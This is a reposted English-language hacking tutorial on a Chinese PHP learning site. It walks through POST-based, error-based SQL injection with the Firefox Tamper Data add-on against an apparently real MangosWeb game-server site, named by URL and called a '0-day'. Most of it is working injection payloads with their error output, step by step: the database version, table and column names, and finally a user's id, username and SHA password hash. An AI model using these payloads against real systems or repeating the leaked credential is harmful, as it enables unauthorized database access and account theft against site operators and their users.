来源：自学PHP网 时间：2015-04-17 13:03 作者： 阅读:次
[导读] First off download FireFox, and an add on called Tamper Data.i use MangosWeb SQLi 0-DayCode:http://wowfaction.selfip.com/wow/Now POST SQL Injection can be done via seach box......
|
First off download FireFox, and an add on called Tamper Data. http://wowfaction.selfip.com/wow/
Now POST SQL Injection can be done via seach boxes, login fields, and the direct POST content. Once you've found your site, try injecting your vulnerable field. I'm going to be using the login field in the top corner.  I put a ' in both fields, now let's see if it triggers our error.  Code:
Couldnt Run Query: SELECT `email` FROM `account` WHERE `username` LIKE ''' LIMIT 1
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' LIMIT 1' at line 1 Now we got our error, perfect. Now I could stop here for the hell of it, because that's all POST SQL Injection is, is executing your queries through the POST data. This means you can use commands like order by and union select. I won't be using these because for this site I need to use error based. It's also string based. You should be focusing on how to send queries through POST content, not the actual queries anyways. Anyways, back on topic.... So I'm back to the login page again, let's try this one more time. I'll hop right into the error based queries.. Go to Tools > Tamper Data. Click start tamper, and continue with it. Spoiler (Click to Hide)
 Now a new form should come up, and show all the POST content getting ready to be sent.  My login parameter was set to %27, which is URL encoded for ' Now sometimes only one field will be vulnerable, but for this one it doesn't matter. Most fields also have a character limit, which is why you'll need Tamper Data. Now whatever POST parameter is vulnerable, you execute your query through it. I'll use username...  Code:
POST DATA = '+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1-- x
Now click OK on tamper data and watch the query go through... Code:
Couldnt Run Query: SELECT `email` FROM `account` WHERE `username` LIKE '' or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1-- x' LIMIT 1
Error: Duplicate entry '5.5.20~1' for key 'group_key'  Now you should see the version, and we now can move on and get the rest of what we want... If you aren't too lazy to go back to the login page and repeat the process, click start tamper and refresh your page. Tell FireFox to resend the data, and Tamper Data will popup again... Code:
POST DATA = '+or+1+group+by+concat_ws(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1-- x
Code:
Couldnt Run Query: SELECT `email` FROM `account` WHERE `username` LIKE '' or 1 group by concat_ws(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)) having min(0) or 1-- x' LIMIT 1
Error: Duplicate entry 'account~1' for key 'group_key' Spoiler (Click to Hide)
 Same deal-e-o. Rinse, wash, and repeat. www.2cto.com Code:
'+or+1+group+by+concat_ws(0x7e,(select+column_name+from+information_schema.columns+where+table_name=0x6163636f756e74+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1-- x
Code:
Couldnt Run Query: SELECT `email` FROM `account` WHERE `username` LIKE '' or 1 group by concat_ws(0x7e,(select column_name from information_schema.columns where table_name=0x6163636f756e74 limit 0,1),floor(rand(0)*2)) having min(0) or 1-- x' LIMIT 1
Error: Duplicate entry 'id~1' for key 'group_key' Rinse, wash and repeat until you get what you want... Code:
Couldnt Run Query: SELECT `email` FROM `account` WHERE `username` LIKE '' or 1 group by concat_ws(0x7e,(select column_name from information_schema.columns where table_name=0x6163636f756e74 limit 1,1),floor(rand(0)*2)) having min(0) or 1-- x' LIMIT 1
Error: Duplicate entry 'username~1' for key 'group_key' Code:
'+or+1+group+by+concat_ws(0x7e,(select+concat(id,0x7e,username,0x7e,sha_pass_hash)+from+account+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1-- x
Code:
Couldnt Run Query: SELECT `email` FROM `account` WHERE `username` LIKE '' or 1 group by concat_ws(0x7e,(select concat(id,0x7e,username,0x7e,sha_pass_hash) from account limit 0,1),floor(rand(0)*2)) having min(0) or 1-- x' LIMIT 1
Error: Duplicate entry '1~Vextah~D67FFD63A8A230BC3104A8804B17F217307A6E90~1' for key 'group_key'  Well, that's it for now. Make sure you focus on what the tutorial is about, and not the queries. Let me know if you need anything. bye! |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
